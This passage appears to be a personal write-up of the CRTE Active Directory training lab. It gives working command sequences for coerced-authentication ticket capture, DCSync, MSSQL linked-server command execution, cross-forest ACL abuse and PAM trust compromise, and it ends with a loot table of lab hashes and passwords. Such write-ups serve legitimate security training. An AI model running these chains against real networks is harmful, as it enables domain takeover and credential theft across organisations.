iwr -Uri "http://192.168.100.28:80/Rubeus.exe" -OutFile "Rubeus.exe"
.\Rubeus.exe monitor /interval:5 /nowrap
Trigger the printer bug targeting USVENDOR-DC:
1
2
3
python printerbug.py \
us.techcorp.local/studentuser28:[email protected] \
US-WEB.us.techcorp.local
TGT for USVENDOR-DC$ captured. Convert and use:
1
2
3
echo "<base64_ticket>" | base64 -d > DC_ticket.kirbi
impacket-ticketConverter DC_ticket.kirbi DC_ticket.ccache
export KRB5CCNAME=DC_ticket.ccache
DCSync USVENDOR.LOCAL:
1
2
impacket-secretsdump -k -no-pass USVENDOR-DC.USVENDOR.local \
-just-dc -outputfile DCSync -pwd-last-set -user-status -history
USVENDOR.LOCAL compromised.
1
2
Administrator:500:...:67ad980708fe40f846c9397ec051020b:::
krbtgt:502:...:335caf1a29240a5dd318f79b6deaf03f:::
DB.LOCAL: MSSQL Linked Servers
US-MSSQL has linked servers configured. We can discover them with nxc:
1
2
nxc mssql us-mssql.us.techcorp.local \
-u studentuser28 -p DNzx8jgndLqpWXN1 -M enum_links
To interact with the MSSQL service, I used constrained delegation with the -altservice flag to swap the service to MSSQLSvc:
1
2
3
4
5
6
7
8
impacket-getST \
-spn CIFS/us-mssql.us.techcorp.local \
-impersonate Administrator \
us.techcorp.local/appsvc \
-hashes ':1d49d390ac01d568f0ee9be82bb74d4c' \
-dc-ip 192.168.1.2 \
-altservice MSSQLSvc
export KRB5CCNAME='Administrator@[email protected]'
Used mssqlpwner to enumerate the links:
1
2
3
mssqlpwner \
us.techcorp.local/studentuser28:[email protected] \
-windows-auth enumerate
Connected with impacket’s mssqlclient (using a modified fork that supports linked server crawling):
1
2
python3 ~/CRTE/mverschu-impacket/examples/mssqlclient.py \
US/studentuser28:'DNzx8jgndLqpWXN1'@192.168.1.56 -windows-auth
1
crawl_links
Got command execution on DB-SQLPROD via xp_cmdshell through the linked server:
1
xp_cmdshell_link DB-SQLPROD whoami
Set up a listener on Kali and got a reverse shell by sending a PowerShell encoded payload through the linked server:
The link chain looks like this:
1
2
3
US-MSSQL (us.techcorp.local)
└─> DB-SQLPROD (192.168.23.25) - linked as "dbuser" with sysadmin
└─> DB-SQLSRV (db.local) - linked as "sa" with sysadmin
On US-MSSQL, our student user has non-sysadmin access, but the link to DB-SQLPROD runs as dbuser which is sysadmin. That’s why xp_cmdshell works on DB-SQLPROD but not on US-MSSQL directly.
Getting a Shell on DB-SQLSRV
The link from DB-SQLPROD to DB-SQLSRV uses the sa account with sysadmin. But xp_cmdshell isn’t enabled on DB-SQLSRV by default, and the link doesn’t have rpc_out enabled either. To fix this, we need to use the shell on DB-SQLPROD to enable RPC Out and xp_cmdshell on the DB-SQLSRV link:
1
2
3
4
Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT""db-sqlsrv"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT""db-sqlsrv"""
After this, we can execute commands on DB-SQLSRV through the nested link and get a reverse shell there. The shell on DB-SQLSRV runs as srvdba in the db.local domain.
I forgot to take detailed notes on this part, but the steps from here are described in the DBVENDOR.LOCAL section below. ;)
DBVENDOR.LOCAL: Cross-Forest ACL Abuse + FSP Privilege Escalation
From the reverse shell on DB-SQLSRV (running as srvdba in db.local), we can enumerate the forest trusts. db.local has a bidirectional trust with dbvendor.local.
GenericAll on dbXsvc
By enumerating ACLs across the trust, we find that srvdba has GenericAll over dbXsvc user accounts in dbvendor.local. GenericAll means full control over the object, so we can do anything: reset the password, set an SPN for targeted kerberoasting, or write to any attribute. The simplest approach is to just reset the password:
1
Set-DomainUserPassword -Identity dbXsvc -AccountPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force) -Domain dbvendor.local -Verbose
Now we control the dbXsvc account in dbvendor.local.
Foreign Security Principals -> DB-DC Admin
Now here’s the payoff. By enumerating Foreign Security Principals (FSPs) in db.local, we find that those dbXsvc accounts from dbvendor.local are members of the built-in Administrators group on db.local. FSPs are how Active Directory represents users from trusted foreign domains in local groups. In this case, someone added [email protected] to db.local’s Administrators group, probably for some cross-forest management task.
So the chain is:
- Reset
dbXsvc’s password in dbvendor.local (we have GenericAll viasrvdba) - Use
dbXsvccredentials to access DB-DC.db.local (it’s in the local Administrators group via the FSP mapping)
1
winrs -r:db-dc.db.local -u:dbvendor\dbXsvc -p:Password@123 "whoami"
DB.LOCAL and DBVENDOR.LOCAL compromised.
BASTION.LOCAL + PRODUCTION.LOCAL
Bastion.local via Trust Abuse
With the techcorp.local DA hash, we can reach bastion.local through the forest trust. First, I needed a TGT as techcorp.local Administrator to authenticate to bastion.local’s DC:
1
2
3
impacket-getTGT techcorp.local/administrator \
-hashes ':bc4cf9b751d196c4b6e1a2ba923ef33f' -dc-ip 192.168.1.1
export KRB5CCNAME='administrator.ccache'
This requests a TGT from techcorp.local’s KDC using the Administrator hash. With this ticket loaded, we can authenticate to bastion.local because of the forest trust between the two domains.
I collected BloodHound data:
1
2
3
4
5
./kerb_auth.sh bastion.local 192.168.101.1
rusthound -d 'bastion.local' -i 192.168.101.1 \
-u '[email protected]' \
-f 'bastion-dc.bastion.local' \
-k -z --fqdn-resolver
Now to DCSync bastion.local, I again requested a TGT as techcorp.local Administrator (tickets expire, so you often need to re-request them), set it as the active credential, and ran secretsdump:
1
2
3
4
5
impacket-getTGT techcorp.local/administrator \
-hashes ':bc4cf9b751d196c4b6e1a2ba923ef33f' -dc-ip 192.168.1.1
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass bastion-dc.bastion.local \
-just-dc -outputfile DCSync -pwd-last-set -user-status
The reason we can DCSync a foreign domain is because techcorp.local Administrator, through the forest trust, has administrative rights over bastion.local. The trust relationship grants the necessary replication permissions.
BASTION.LOCAL compromised.
1
2
Administrator:500:...:f29207796c9e6829aa1882b7cccfa36d:::
krbtgt:502:...:e09f0cd113a70c0bd564d0bb0c228380:::
Shadow Principals and PAM Trust -> PRODUCTION.LOCAL
With bastion.local DA hash, I collected BloodHound data from production.local. Again, first request a TGT, then use it:
1
2
3
4
5
6
7
impacket-getTGT bastion.local/administrator \
-hashes ':f29207796c9e6829aa1882b7cccfa36d' -dc-ip 192.168.101.1
export KRB5CCNAME='administrator.ccache'
rusthound -d 'production.local' -i 192.168.102.1 \
-u '[email protected]' \
-f 'PRODUCTION-DC.PRODUCTION.LOCAL' \
-k -z --fqdn-resolver
The key here is Shadow Principals. bastion.local is configured as a PAM (Privileged Access Management) trust forest for production.local. Shadow Principal objects in bastion.local map bastion users to production.local SIDs. This is a Microsoft feature designed for secure administration of production forests from a hardened bastion forest, but if you compromise the bastion, you get production for free.
I queried the Shadow Principal Configuration using ldapsearch:
1
2
3
4
5
ldapsearch -H ldap://192.168.101.1 \
-Y GSSAPI \
-b 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local' \
'(objectClass=msDS-ShadowPrincipal)' \
msDS-ShadowPrincipalSid member name
This tells us that the bastion.local Administrator is mapped as a shadow principal to production.local, meaning we can access production.local using bastion.local Administrator credentials.
1
2
3
nxc smb production-dc.production.local \
-u administrator -H 'f29207796c9e6829aa1882b7cccfa36d' \
-d bastion.local -X whoami
PRODUCTION.LOCAL compromised via PAM Trust shadow principals.
Loot Table
Here’s the full credential dump from the entire engagement:
| User | Password/Hash | Access |
|---|---|---|
| serviceaccount | Password123 | Kerberoastable account |
| SUPPORT28USER | Desk@123 (changed) | Force password change |
| mgmtadmin | e53153fc2dc8d4c5a5839e46220717e5 | GenericWrite to US-HELPDESK |
| helpdeskadmin | 94b4a7961bb45377f6e7951b0d8630be | Local admin on US-ADConnect |
| adconnect | 4e150424ccf419d83ce3a8ad1db7b94a | ADConnect service account |
| Administrator (US-MAILMGMT) | #gH0hRoG%CccS5 | LAPS password |
| provisioningsvc | 44dea6608c25a85d578d0c2b6f8355c4 | Can read gMSA for jumpone$ |
| jumpone$ | 4636eee3131055e54e9c0cbded216ff5 | gMSA, local admin on US-JUMP1 |
| pawadmin | 36ea28bfa97a992b5e85bd22485e8d52 | ADCS ESC1 enrollment rights |
| webmaster | 23d6458d06b25e463b9666364fb0b29f / 0wnerOftheIntraNetz! | Local admin on US-WEB (unconstrained delegation) |
| appsvc | 1d49d390ac01d568f0ee9be82bb74d4c | Constrained delegation to US-MSSQL |
| dbservice | Us$r4RunningSQLSvc | MSSQL service account |
| Administrator (us.techcorp.local) | 43b70d2d979805f419e02882997f8f3f | Domain Admin |
| krbtgt (us.techcorp.local) | b0975ae49f441adc6b024ad238935af5 | |
| Administrator (techcorp.local) | bc4cf9b751d196c4b6e1a2ba923ef33f | Enterprise Admin |
| krbtgt (techcorp.local) | 7735b8be1edda5deea6bfbacb7f2c3e7 | |
| MSOL_16fb75d0227d | c1db8cdcb7a89f56dd00b77e384c2c9c | ADConnect sync account |
| storagesvc (eu.local) | Qwerty@123 | Constrained delegation to EU-DC |
| Administrator (eu.local) | fe422f818eb7e9c6de5862d94739c2e4 | Domain Admin |
| Administrator (usvendor.local) | 67ad980708fe40f846c9397ec051020b | Domain Admin |
| Administrator (bastion.local) | f29207796c9e6829aa1882b7cccfa36d | Domain Admin + Shadow Principal to production.local |
Final Thoughts
This lab was a great experience. Doing it entirely from Linux forced me to deeply understand the underlying protocols rather than relying on GUI tools or PowerShell magic. Every Kerberos ticket manipulation, every LDAP query, every NTLM relay had to be understood at the protocol level because the Linux tools expose those details.
A few things I learned along the way:
lsassy is essential for active sessions. If a user logged in interactively and their creds are still in LSASS memory, you need to dump LSASS. lsassy does this remotely from Linux and integrates perfectly with nxc as a module.
The krb5.conf helper script saves time. When you’re jumping between 8+ domains and forests, manually editing krb5.conf every time gets old fast.
Ticket format conversion is a solved problem. impacket-ticketConverter handles kirbi to ccache seamlessly. The workflow of capturing tickets with Rubeus on a Windows target and converting them for use with impacket on Linux is smooth.
bloodyAD is underrated. For ACL abuse, group manipulation, and LAPS reads, bloodyAD is incredibly clean and fast from Linux. It handles the LDAP operations natively without needing PowerView.
RustHound works great for cross-forest collection. Being able to collect BloodHound data from foreign forests using just a Kerberos ticket was essential for mapping out attack paths in domains I had no plaintext credentials for.
If you’re thinking about doing CRTE and you come from a Linux background, don’t hesitate. The lab is absolutely doable from Linux, the exam is doable from Linux, and you’ll come out of it with a much deeper understanding of the protocols that make these attacks work.



































































